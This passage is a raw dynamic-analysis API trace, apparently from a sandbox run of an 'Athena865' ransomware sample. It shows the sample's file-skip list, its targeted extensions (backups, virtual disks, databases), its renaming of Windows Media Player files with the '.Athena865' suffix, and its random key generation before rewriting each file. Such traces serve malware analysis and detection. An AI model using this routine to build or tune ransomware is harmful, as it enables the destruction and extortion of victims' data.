flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x37f00, lpName=0x0) returned 0x17c [0047.274] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x37f00) returned 0x170000 [0047.307] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0047.308] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0047.308] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0047.308] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d570 [0047.308] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d570 | out: hHeap=0x4f0000) returned 1 [0047.308] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x528208 [0047.308] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0047.308] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528208 | out: hHeap=0x4f0000) returned 1 [0047.308] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0047.308] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52a400 [0047.308] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0047.308] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52a400 | out: hHeap=0x4f0000) returned 1 [0047.309] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0047.309] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0047.311] CloseHandle (hObject=0x17c) returned 1 [0047.311] CloseHandle (hObject=0x154) returned 1 [0047.311] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d4f8 | out: hHeap=0x4f0000) returned 1 [0047.311] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5192b0 | out: hHeap=0x4f0000) returned 1 [0047.311] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0047.312] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3f0b33d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3f0b33d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3f0b33d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18e00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wmpconfig.exe", cAlternateFileName="")) returned 1 [0047.312] lstrcmpiW (lpString1="wmpconfig.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0047.312] lstrcmpiW (lpString1="wmpconfig.exe", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0047.312] lstrcmpiW (lpString1="wmpconfig.exe", lpString2=".") returned 1 [0047.312] lstrcmpiW (lpString1="wmpconfig.exe", lpString2="..") returned 1 [0047.312] lstrcmpiW (lpString1="wmpconfig.exe", lpString2="windows") returned 1 [0047.312] lstrcmpiW (lpString1="wmpconfig.exe", lpString2="bootmgr") returned 1 [0047.312] lstrcmpiW (lpString1="wmpconfig.exe", lpString2="temp") returned 1 [0047.312] lstrcmpiW (lpString1="wmpconfig.exe", lpString2="pagefile.sys") returned 1 [0047.312] lstrcmpiW (lpString1="wmpconfig.exe", lpString2="boot") returned 1 [0047.312] lstrcmpiW (lpString1="wmpconfig.exe", lpString2="ids.txt") returned 1 [0047.312] lstrcmpiW (lpString1="wmpconfig.exe", lpString2="ntuser.dat") returned 1 [0047.312] lstrcmpiW (lpString1="wmpconfig.exe", lpString2="perflogs") returned 1 [0047.312] lstrcmpiW (lpString1="wmpconfig.exe", lpString2="MSBuild") returned 1 [0047.312] lstrlenW (lpString="wmpconfig.exe") returned 13 [0047.312] lstrcpyW (in: lpString1=0x241e8a0, lpString2="wmpconfig.exe" | out: lpString1="wmpconfig.exe") returned="wmpconfig.exe" [0047.312] lstrlenW (lpString="wmpconfig.exe") returned 13 [0047.312] lstrlenW (lpString="Athena865") returned 9 [0047.312] lstrcmpiW (lpString1="onfig.exe", lpString2="Athena865") returned 1 [0047.312] lstrlenW (lpString=".dll") returned 4 [0047.312] lstrcmpiW (lpString1="wmpconfig.exe", lpString2=".dll") returned 1 [0047.312] lstrlenW (lpString=".lnk") returned 4 [0047.313] lstrcmpiW (lpString1="wmpconfig.exe", lpString2=".lnk") returned 1 [0047.313] lstrlenW (lpString=".ini") returned 4 [0047.313] lstrcmpiW (lpString1="wmpconfig.exe", lpString2=".ini") returned 1 [0047.313] lstrlenW (lpString=".sys") returned 4 [0047.313] lstrcmpiW (lpString1="wmpconfig.exe", lpString2=".sys") returned 1 [0047.313] lstrlenW (lpString="wmpconfig.exe") returned 13 [0047.313] lstrlenW (lpString="bak") returned 3 [0047.313] lstrcmpiW (lpString1="exe", lpString2="bak") returned 1 [0047.313] lstrlenW (lpString="ba_") returned 3 [0047.313] lstrcmpiW (lpString1="exe", lpString2="ba_") returned 1 [0047.313] lstrlenW (lpString="dbb") returned 3 [0047.313] lstrcmpiW (lpString1="exe", lpString2="dbb") returned 1 [0047.313] lstrlenW (lpString="vmdk") returned 4 [0047.313] lstrcmpiW (lpString1=".exe", lpString2="vmdk") returned -1 [0047.313] lstrlenW (lpString="rar") returned 3 [0047.313] lstrcmpiW (lpString1="exe", lpString2="rar") returned -1 [0047.313] lstrlenW (lpString="zip") returned 3 [0047.313] lstrcmpiW (lpString1="exe", lpString2="zip") returned -1 [0047.313] lstrlenW (lpString="tgz") returned 3 [0047.313] lstrcmpiW (lpString1="exe", lpString2="tgz") returned -1 [0047.313] lstrlenW (lpString="vbox") returned 4 [0047.313] lstrcmpiW (lpString1=".exe", lpString2="vbox") returned -1 [0047.313] lstrlenW (lpString="vdi") returned 3 [0047.313] lstrcmpiW (lpString1="exe", lpString2="vdi") returned -1 [0047.313] lstrlenW (lpString="vhd") returned 3 [0047.313] lstrcmpiW (lpString1="exe", lpString2="vhd") returned -1 [0047.313] lstrlenW (lpString="vhdx") returned 4 [0047.313] lstrcmpiW (lpString1=".exe", lpString2="vhdx") returned -1 [0047.313] lstrlenW (lpString="avhd") returned 4 [0047.313] lstrcmpiW (lpString1=".exe", lpString2="avhd") returned -1 [0047.313] lstrlenW (lpString="db") returned 2 [0047.313] lstrcmpiW (lpString1="xe", lpString2="db") returned 1 [0047.313] lstrlenW (lpString="db2") returned 3 [0047.313] lstrcmpiW (lpString1="exe", lpString2="db2") returned 1 [0047.313] lstrlenW (lpString="db3") returned 3 [0047.313] lstrcmpiW (lpString1="exe", lpString2="db3") returned 1 [0047.313] lstrlenW (lpString="dbf") returned 3 [0047.313] lstrcmpiW (lpString1="exe", lpString2="dbf") returned 1 [0047.313] lstrlenW (lpString="mdf") returned 3 [0047.314] lstrcmpiW (lpString1="exe", lpString2="mdf") returned -1 [0047.314] lstrlenW (lpString="mdb") returned 3 [0047.314] lstrcmpiW (lpString1="exe", lpString2="mdb") returned -1 [0047.314] lstrlenW (lpString="sql") returned 3 [0047.314] lstrcmpiW (lpString1="exe", lpString2="sql") returned -1 [0047.314] lstrlenW (lpString="sqlite") returned 6 [0047.314] lstrcmpiW (lpString1="ig.exe", lpString2="sqlite") returned -1 [0047.314] lstrlenW (lpString="sqlite3") returned 7 [0047.314] lstrcmpiW (lpString1="fig.exe", lpString2="sqlite3") returned -1 [0047.314] lstrlenW (lpString="sqlitedb") returned 8 [0047.314] lstrcmpiW (lpString1="nfig.exe", lpString2="sqlitedb") returned -1 [0047.314] lstrlenW (lpString="xml") returned 3 [0047.314] lstrcmpiW (lpString1="exe", lpString2="xml") returned -1 [0047.314] lstrlenW (lpString="$er") returned 3 [0047.314] lstrcmpiW (lpString1="exe", lpString2="$er") returned 1 [0047.314] lstrlenW (lpString="4dd") returned 3 [0047.314] lstrcmpiW (lpString1="exe", lpString2="4dd") returned 1 [0047.314] lstrlenW (lpString="4dl") returned 3 [0047.314] lstrcmpiW (lpString1="exe", lpString2="4dl") returned 1 [0047.314] lstrlenW (lpString="^^^") returned 3 [0047.314] lstrcmpiW (lpString1="exe", lpString2="^^^") returned 1 [0047.314] lstrlenW (lpString="abs") returned 3 [0047.314] lstrcmpiW (lpString1="exe", lpString2="abs") returned 1 [0047.314] lstrlenW (lpString="abx") returned 3 [0047.314] lstrcmpiW (lpString1="exe", lpString2="abx") returned 1 [0047.314] lstrlenW (lpString="accdb") returned 5 [0047.314] lstrcmpiW (lpString1="g.exe", lpString2="accdb") returned 1 [0047.314] lstrlenW (lpString="accdc") returned 5 [0047.314] lstrcmpiW (lpString1="g.exe", lpString2="accdc") returned 1 [0047.314] lstrlenW (lpString="accde") returned 5 [0047.314] lstrcmpiW (lpString1="g.exe", lpString2="accde") returned 1 [0047.314] lstrlenW (lpString="accdr") returned 5 [0047.314] lstrcmpiW (lpString1="g.exe", lpString2="accdr") returned 1 [0047.314] lstrlenW (lpString="accdt") returned 5 [0047.314] lstrcmpiW (lpString1="g.exe", lpString2="accdt") returned 1 [0047.314] lstrlenW (lpString="accdw") returned 5 [0047.314] lstrcmpiW (lpString1="g.exe", lpString2="accdw") returned 1 [0047.315] lstrlenW (lpString="accft") returned 5 [0047.315] lstrcmpiW (lpString1="g.exe", lpString2="accft") returned 1 [0047.315] lstrlenW (lpString="adb") returned 3 [0047.315] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0047.315] lstrlenW (lpString="adb") returned 3 [0047.315] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0047.315] lstrlenW (lpString="ade") returned 3 [0047.315] lstrcmpiW (lpString1="exe", lpString2="ade") returned 1 [0047.315] lstrlenW (lpString="adf") returned 3 [0047.315] lstrcmpiW (lpString1="exe", lpString2="adf") returned 1 [0047.315] lstrlenW (lpString="adn") returned 3 [0047.315] lstrcmpiW (lpString1="exe", lpString2="adn") returned 1 [0047.315] lstrlenW (lpString="adp") returned 3 [0047.315] lstrcmpiW (lpString1="exe", lpString2="adp") returned 1 [0047.315] lstrlenW (lpString="alf") returned 3 [0047.315] lstrcmpiW (lpString1="exe", lpString2="alf") returned 1 [0047.315] lstrlenW (lpString="ask") returned 3 [0047.315] lstrcmpiW (lpString1="exe", lpString2="ask") returned 1 [0047.315] lstrlenW (lpString="btr") returned 3 [0047.315] lstrcmpiW (lpString1="exe", lpString2="btr") returned 1 [0047.315] lstrlenW (lpString="cat") returned 3 [0047.315] lstrcmpiW (lpString1="exe", lpString2="cat") returned 1 [0047.315] lstrlenW (lpString="cdb") returned 3 [0047.315] lstrcmpiW (lpString1="exe", lpString2="cdb") returned 1 [0047.315] lstrlenW (lpString="ckp") returned 3 [0047.315] lstrcmpiW (lpString1="exe", lpString2="ckp") returned 1 [0047.315] lstrlenW (lpString="cma") returned 3 [0047.315] lstrcmpiW (lpString1="exe", lpString2="cma") returned 1 [0047.315] lstrlenW (lpString="cpd") returned 3 [0047.315] lstrcmpiW (lpString1="exe", lpString2="cpd") returned 1 [0047.315] lstrlenW (lpString="dacpac") returned 6 [0047.315] lstrcmpiW (lpString1="ig.exe", lpString2="dacpac") returned 1 [0047.315] lstrlenW (lpString="dad") returned 3 [0047.315] lstrcmpiW (lpString1="exe", lpString2="dad") returned 1 [0047.315] lstrlenW (lpString="dadiagrams") returned 10 [0047.315] lstrcmpiW (lpString1="config.exe", lpString2="dadiagrams") returned -1 [0047.316] lstrlenW (lpString="daschema") returned 8 [0047.316] lstrcmpiW (lpString1="nfig.exe", lpString2="daschema") returned 1 [0047.316] lstrlenW (lpString="db-journal") returned 10 [0047.316] lstrcmpiW (lpString1="config.exe", lpString2="db-journal") returned -1 [0047.316] lstrlenW (lpString="db-shm") returned 6 [0047.316] lstrcmpiW (lpString1="ig.exe", lpString2="db-shm") returned 1 [0047.316] lstrlenW (lpString="db-wal") returned 6 [0047.316] lstrcmpiW (lpString1="ig.exe", lpString2="db-wal") returned 1 [0047.316] lstrlenW (lpString="dbc") returned 3 [0047.316] lstrcmpiW (lpString1="exe", lpString2="dbc") returned 1 [0047.316] lstrlenW (lpString="dbs") returned 3 [0047.316] lstrcmpiW (lpString1="exe", lpString2="dbs") returned 1 [0047.316] lstrlenW (lpString="dbt") returned 3 [0047.316] lstrcmpiW (lpString1="exe", lpString2="dbt") returned 1 [0047.316] lstrlenW (lpString="dbv") returned 3 [0047.316] lstrcmpiW (lpString1="exe", lpString2="dbv") returned 1 [0047.316] lstrlenW (lpString="dbx") returned 3 [0047.316] lstrcmpiW (lpString1="exe", lpString2="dbx") returned 1 [0047.316] lstrlenW (lpString="dcb") returned 3 [0047.316] lstrcmpiW (lpString1="exe", lpString2="dcb") returned 1 [0047.316] lstrcmpiW (lpString1="exe", lpString2="dct") returned 1 [0047.316] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Windows Media Player\\wmpconfig.exe.Athena865") returned 67 [0047.316] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Windows Media Player\\wmpconfig.exe" (normalized: "c:\\program files (x86)\\windows media player\\wmpconfig.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Media Player\\wmpconfig.exe.Athena865" (normalized: "c:\\program files (x86)\\windows media player\\wmpconfig.exe.athena865"), dwFlags=0x1) returned 1 [0047.317] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\wmpconfig.exe.Athena865" (normalized: "c:\\program files (x86)\\windows media player\\wmpconfig.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0047.317] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=101888) returned 1 [0047.317] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0047.317] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d4f8 [0047.317] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0047.317] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0047.318] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0047.318] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0047.318] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x19100, lpName=0x0) returned 0x17c [0047.320] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x19100) returned 0x100000 [0047.327] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0047.328] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0047.328] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0047.328] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d570 [0047.328] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d570 | out: hHeap=0x4f0000) returned 1 [0047.328] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x528208 [0047.328] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0047.328] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528208 | out: hHeap=0x4f0000) returned 1 [0047.328] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0047.328] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52a400 [0047.328] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0047.328] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52a400 | out: hHeap=0x4f0000) returned 1 [0047.328] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0047.328] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0047.329] CloseHandle (hObject=0x17c) returned 1 [0047.329] CloseHandle (hObject=0x154) returned 1 [0047.329] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d4f8 | out: hHeap=0x4f0000) returned 1 [0047.329] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5192b0 | out: hHeap=0x4f0000) returned 1 [0047.329] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0047.330] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb669e146, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb669e146, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb66c42a7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf0000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WMPDMC.exe", cAlternateFileName="")) returned 1 [0047.330] lstrcmpiW (lpString1="WMPDMC.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0047.330] lstrcmpiW (lpString1="WMPDMC.exe", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0047.330] lstrcmpiW (lpString1="WMPDMC.exe", lpString2=".") returned 1 [0047.330] lstrcmpiW (lpString1="WMPDMC.exe", lpString2="..") returned 1 [0047.330] lstrcmpiW (lpString1="WMPDMC.exe", lpString2="windows") returned 1 [0047.330] lstrcmpiW (lpString1="WMPDMC.exe", lpString2="bootmgr") returned 1 [0047.330] lstrcmpiW (lpString1="WMPDMC.exe", lpString2="temp") returned 1 [0047.330] lstrcmpiW (lpString1="WMPDMC.exe", lpString2="pagefile.sys") returned 1 [0047.330] lstrcmpiW (lpString1="WMPDMC.exe", lpString2="boot") returned 1 [0047.330] lstrcmpiW (lpString1="WMPDMC.exe", lpString2="ids.txt") returned 1 [0047.330] lstrcmpiW (lpString1="WMPDMC.exe", lpString2="ntuser.dat") returned 1 [0047.330] lstrcmpiW (lpString1="WMPDMC.exe", lpString2="perflogs") returned 1 [0047.330] lstrcmpiW (lpString1="WMPDMC.exe", lpString2="MSBuild") returned 1 [0047.330] lstrlenW (lpString="WMPDMC.exe") returned 10 [0047.331] lstrcpyW (in: lpString1=0x241e8a0, lpString2="WMPDMC.exe" | out: lpString1="WMPDMC.exe") returned="WMPDMC.exe" [0047.331] lstrlenW (lpString="WMPDMC.exe") returned 10 [0047.331] lstrlenW (lpString="Athena865") returned 9 [0047.331] lstrcmpiW (lpString1="MPDMC.exe", lpString2="Athena865") returned 1 [0047.331] lstrlenW (lpString=".dll") returned 4 [0047.331] lstrcmpiW (lpString1="WMPDMC.exe", lpString2=".dll") returned 1 [0047.331] lstrlenW (lpString=".lnk") returned 4 [0047.331] lstrcmpiW (lpString1="WMPDMC.exe", lpString2=".lnk") returned 1 [0047.331] lstrlenW (lpString=".ini") returned 4 [0047.331] lstrcmpiW (lpString1="WMPDMC.exe", lpString2=".ini") returned 1 [0047.331] lstrlenW (lpString=".sys") returned 4 [0047.331] lstrcmpiW (lpString1="WMPDMC.exe", lpString2=".sys") returned 1 [0047.331] lstrlenW (lpString="WMPDMC.exe") returned 10 [0047.331] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Windows Media Player\\WMPDMC.exe.Athena865") returned 64 [0047.331] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Windows Media Player\\WMPDMC.exe" (normalized: "c:\\program files (x86)\\windows media player\\wmpdmc.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Media Player\\WMPDMC.exe.Athena865" (normalized: "c:\\program files (x86)\\windows media player\\wmpdmc.exe.athena865"), dwFlags=0x1) returned 1 [0047.332] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\WMPDMC.exe.Athena865" (normalized: "c:\\program files (x86)\\windows media player\\wmpdmc.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0047.332] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=983040) returned 1 [0047.332] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0047.332] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d4f8 [0047.332] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0047.332] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0047.333] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0047.333] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0047.333] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xf0300, lpName=0x0) returned 0x17c [0047.335] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xf0300) returned 0x2d50000 [0047.521] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0047.521] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0047.521] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0047.522] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d570 [0047.522] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d570 | out: hHeap=0x4f0000) returned 1 [0047.522] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x528208 [0047.522] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0047.522] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528208 | out: hHeap=0x4f0000) returned 1 [0047.522] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0047.522] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52a400 [0047.522] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0047.522] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52a400 | out: hHeap=0x4f0000) returned 1 [0047.522] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0047.522] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0047.530] CloseHandle (hObject=0x17c) returned 1 [0047.530] CloseHandle (hObject=0x154) returned 1 [0047.531] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d4f8 | out: hHeap=0x4f0000) returned 1 [0047.531] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5192b0 | out: hHeap=0x4f0000) returned 1 [0047.531] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0047.535] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42b8907f, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x42b8907f, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xb19c3730, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4f200, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WMPDMCCore.dll", cAlternateFileName="")) returned 1 [0047.535] lstrcmpiW (lpString1="WMPDMCCore.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0047.535] lstrcmpiW (lpString1="WMPDMCCore.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0047.535] lstrcmpiW (lpString1="WMPDMCCore.dll", lpString2=".") returned 1 [0047.535] lstrcmpiW (lpString1="WMPDMCCore.dll", lpString2="..") returned 1 [0047.535] lstrcmpiW (lpString1="WMPDMCCore.dll", lpString2="windows") returned 1 [0047.535] lstrcmpiW (lpString1="WMPDMCCore.dll", lpString2="bootmgr") returned 1 [0047.535] lstrcmpiW (lpString1="WMPDMCCore.dll", lpString2="temp") returned 1 [0047.535] lstrcmpiW (lpString1="WMPDMCCore.dll", lpString2="pagefile.sys") returned 1 [0047.535] lstrcmpiW (lpString1="WMPDMCCore.dll", lpString2="boot") returned 1 [0047.535] lstrcmpiW (lpString1="WMPDMCCore.dll", lpString2="ids.txt") returned 1 [0047.535] lstrcmpiW (lpString1="WMPDMCCore.dll", lpString2="ntuser.dat") returned 1 [0047.535] lstrcmpiW (lpString1="WMPDMCCore.dll", lpString2="perflogs") returned 1 [0047.535] lstrcmpiW (lpString1="WMPDMCCore.dll", lpString2="MSBuild") returned 1 [0047.535] lstrlenW (lpString="WMPDMCCore.dll") returned 14 [0047.535] lstrcpyW (in: lpString1=0x241e8a0, lpString2="WMPDMCCore.dll" | out: lpString1="WMPDMCCore.dll") returned="WMPDMCCore.dll" [0047.535] lstrlenW (lpString="WMPDMCCore.dll") returned 14 [0047.535] lstrlenW (lpString="Athena865") returned 9 [0047.535] lstrcmpiW (lpString1="CCore.dll", lpString2="Athena865") returned 1 [0047.535] lstrlenW (lpString=".dll") returned 4 [0047.536] lstrcmpiW (lpString1="WMPDMCCore.dll", lpString2=".dll") returned 1 [0047.536] lstrlenW (lpString=".lnk") returned 4 [0047.536] lstrcmpiW (lpString1="WMPDMCCore.dll", lpString2=".lnk") returned 1 [0047.536] lstrlenW (lpString=".ini") returned 4 [0047.536] lstrcmpiW (lpString1="WMPDMCCore.dll", lpString2=".ini") returned 1 [0047.536] lstrlenW (lpString=".sys") returned 4 [0047.536] lstrcmpiW (lpString1="WMPDMCCore.dll", lpString2=".sys") returned 1 [0047.536] lstrlenW (lpString="WMPDMCCore.dll") returned 14 [0047.536] lstrlenW (lpString="bak") returned 3 [0047.536] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0047.536] lstrlenW (lpString="ba_") returned 3 [0047.536] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0047.536] lstrlenW (lpString="dbb") returned 3 [0047.536] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0047.536] lstrlenW (lpString="vmdk") returned 4 [0047.536] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0047.536] lstrlenW (lpString="rar") returned 3 [0047.536] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0047.536] lstrlenW (lpString="zip") returned 3 [0047.536] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0047.536] lstrlenW (lpString="tgz") returned 3 [0047.536] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0047.536] lstrlenW (lpString="vbox") returned 4 [0047.536] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0047.536] lstrlenW (lpString="vdi") returned 3 [0047.536] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0047.536] lstrlenW (lpString="vhd") returned 3 [0047.536] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0047.536] lstrlenW (lpString="vhdx") returned 4 [0047.536] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0047.536] lstrlenW (lpString="avhd") returned 4 [0047.536] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0047.536] lstrlenW (lpString="db") returned 2 [0047.536] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0047.536] lstrlenW (lpString="db2") returned 3 